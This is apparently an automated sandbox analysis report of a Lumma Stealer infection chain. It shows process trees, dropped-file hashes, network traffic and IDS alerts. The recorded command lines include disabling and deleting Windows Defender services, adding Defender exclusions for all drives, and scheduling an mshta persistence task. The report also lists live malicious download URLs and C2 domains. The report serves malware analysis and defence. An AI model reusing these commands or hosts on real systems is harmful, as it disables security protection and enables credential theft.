specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #CREDENTIALFLUSHER 085ed3a5b2.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs taskkill.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs taskkill.exe no specs conhost.exe no specs csc.exe e72ecd715b.exe no specs csc.exe taskkill.exe no specs conhost.exe no specs cmd.exe no specs mshta.exe no specs cvtres.exe no specs cvtres.exe no specs conhost.exe no specs schtasks.exe no specs powershell.exe conhost.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs taskkill.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs mshta.exe no specs firefox.exe no specs powershell.exe conhost.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs csc.exe cvtres.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs tempbkrcyutoermaxs1kb10urkt6ilipfuza.exe no specs em8l5vxba9n1k6h1d3nrtu5.exe no specs firefox.exe no specs tempbkrcyutoermaxs1kb10urkt6ilipfuza.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs ramez.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
540"C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe
MSBuild.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
644find /i "0x0" C:\Windows\System32\find.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Find String (grep) Utility
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
664sc stop "MsSecWfp" C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
672C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn e1jvKmaE02L /tr "mshta C:\Users\admin\AppData\Local\Temp\I2UJMcrZr.hta" /sc minute /mo 25 /ru "admin" /fC:\Windows\SysWOW64\cmd.exe—e72ecd715b.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
720sc delete "SgrmAgent" C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
728NSudoLG -U:E -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]::GetDrives() | ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }; Start-Sleep -Milliseconds 1000" C:\Users\admin\AppData\Local\Temp\Work\NSudoLG.exe—cmd.exe
User:
SYSTEM
Company:
M2-Team
Integrity Level:
SYSTEM
Description:
NSudo Launcher
Exit code:
0
Version:
9.0.2676.0
Modules
Images
c:\users\admin\appdata\local\temp\work\nsudolg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
736"C:\WINDOWS\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\qyzSYLJ.bat" any_wordC:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
736Unlocker /dеlwdC:\Users\admin\AppData\Local\Temp\Work\Unlocker.exe
cmd.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Description:
Unlocker by Eject
Version:
1.1.0.0
Modules
Images
c:\users\admin\appdata\local\temp\work\unlocker.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
856sc config "WdNisSvc" start= disabled C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
904\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
133 233
Read events
132 987
Write events
110
Delete events
136

Modification events

(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5216) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(5384) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(5384) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(7444) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(4776) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(7912) Unlocker.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\DK
Operation:writeName:CurrentDiskSize
Value:
228874833920
(PID) Process:(6300) 1777286cff.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: Setup Version
Value:
6.4.0
(PID) Process:(6300) 1777286cff.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: App Path
Value:
C:\Users\admin\AppData\Roaming\MyApp
Executable files
59
Suspicious files
266
Text files
263
Unknown types
3

Dropped files

PID
Process
Filename
Type
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130260101\vQpOH7o.exeexecutable
MD5:4B9D57B4506ED4C331CE7837DA19FB3F
SHA256:260D329675466F49EA46D96831920929D78F23881137ECAD447116E88D4F0271
5216ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\BhEXzVm[1].exeexecutable
MD5:6FD840902E72F5F19F4F4CCFF1781DD6
SHA256:E3E5B7A32D43370DC2616EA5EA12D9D773E95BE3F6C26D34FFB9BFA6E0D50D6E
7832dbde144ea3.exeC:\Users\admin\AppData\Local\Temp\Work\nircmd.exeexecutable
MD5:4A9DA765FD91E80DECFD2C9FE221E842
SHA256:2E81E048AB419FDC6E5F4336A951BD282ED6B740048DC38D7673678EE3490CDA
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130280101\dbde144ea3.exeexecutable
MD5:CB90C513FBE1E103E92467FD54CB79E7
SHA256:71D4784D7478F17655350EDCFDD20BFA2ED06B1F389512A48A320F65C5811B20
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130190101\BhEXzVm.exeexecutable
MD5:6FD840902E72F5F19F4F4CCFF1781DD6
SHA256:E3E5B7A32D43370DC2616EA5EA12D9D773E95BE3F6C26D34FFB9BFA6E0D50D6E
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130180101\BhEXzVm.exeexecutable
MD5:6FD840902E72F5F19F4F4CCFF1781DD6
SHA256:E3E5B7A32D43370DC2616EA5EA12D9D773E95BE3F6C26D34FFB9BFA6E0D50D6E
7832dbde144ea3.exeC:\Users\admin\AppData\Local\Temp\Work\DKTolz.zipcompressed
MD5:6B617C0196FE449E27C84532EC2C38E7
SHA256:E3528C57765074D5D73021F747B26EDEFA15227D0F1A3B80A6CDEF21322C99CA
7832dbde144ea3.exeC:\Users\admin\AppData\Local\Temp\Work\cecho.exeexecutable
MD5:E783BC59D0ED6CFBD8891F94AE23D1B3
SHA256:5C1211559DDA10592CFEDD57681F18F4A702410816D36EDA95AEE6C74E3C6A47
5216ramez.exeC:\Users\admin\AppData\Local\Temp\10130270101\vQpOH7o.exeexecutable
MD5:4B9D57B4506ED4C331CE7837DA19FB3F
SHA256:260D329675466F49EA46D96831920929D78F23881137ECAD447116E88D4F0271
5216ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\random[1].exeexecutable
MD5:ECE1D1507B62C20327E999C6936A95A7
SHA256:8EB08322033F193A5E7EA16D83C0CD324EFAAAB628FB245BDB27F6977C2A6D86
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
82
TCP/UDP connections
218
DNS requests
225
Threats
94

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.5:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
4400
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4400
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5216
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/469589259/vQpOH7o.exe
unknown
—
—
unknown
5216
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/newdef/random.exe
unknown
—
—
unknown
7328
random.exe
GET
200
185.156.72.2:80
http://185.156.72.2/mine/random.exe
unknown
—
—
unknown
5216
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.216.77.5:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
7328
random.exe
104.21.64.1:443
cornerdurv.top
CLOUDFLARENET
—
unknown
7328
random.exe
172.67.222.194:443
narrathfpt.top
CLOUDFLARENET
US
unknown
7328
random.exe
172.67.214.17:443
jackthyfuc.run
CLOUDFLARENET
US
unknown
7328
random.exe
172.67.215.238:443
onehunqpom.life
CLOUDFLARENET
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 23.216.77.5
  • 23.216.77.21
  • 23.216.77.27
  • 23.216.77.36
  • 23.216.77.11
  • 23.216.77.25
  • 23.216.77.28
  • 23.216.77.38
  • 23.216.77.8
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 142.250.186.78
whitelisted
cornerdurv.top
  • 104.21.64.1
  • 104.21.80.1
  • 104.21.32.1
  • 104.21.48.1
  • 104.21.96.1
  • 104.21.16.1
  • 104.21.112.1
unknown
narrathfpt.top
  • 172.67.222.194
  • 104.21.83.105
unknown
jackthyfuc.run
  • 172.67.214.17
  • 104.21.77.252
unknown
onehunqpom.life
  • 172.67.215.238
  • 104.21.16.209
unknown
laminaflbx.shop
  • 188.114.97.3
  • 188.114.96.3
unknown
overcovtcg.top
  • 104.21.40.104
  • 172.67.150.184
malicious

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (cornerdurv .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cornerdurv .top)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laminaflbx .shop)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (laminaflbx .shop) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (overcovtcg .top)
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
7328
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
random.exe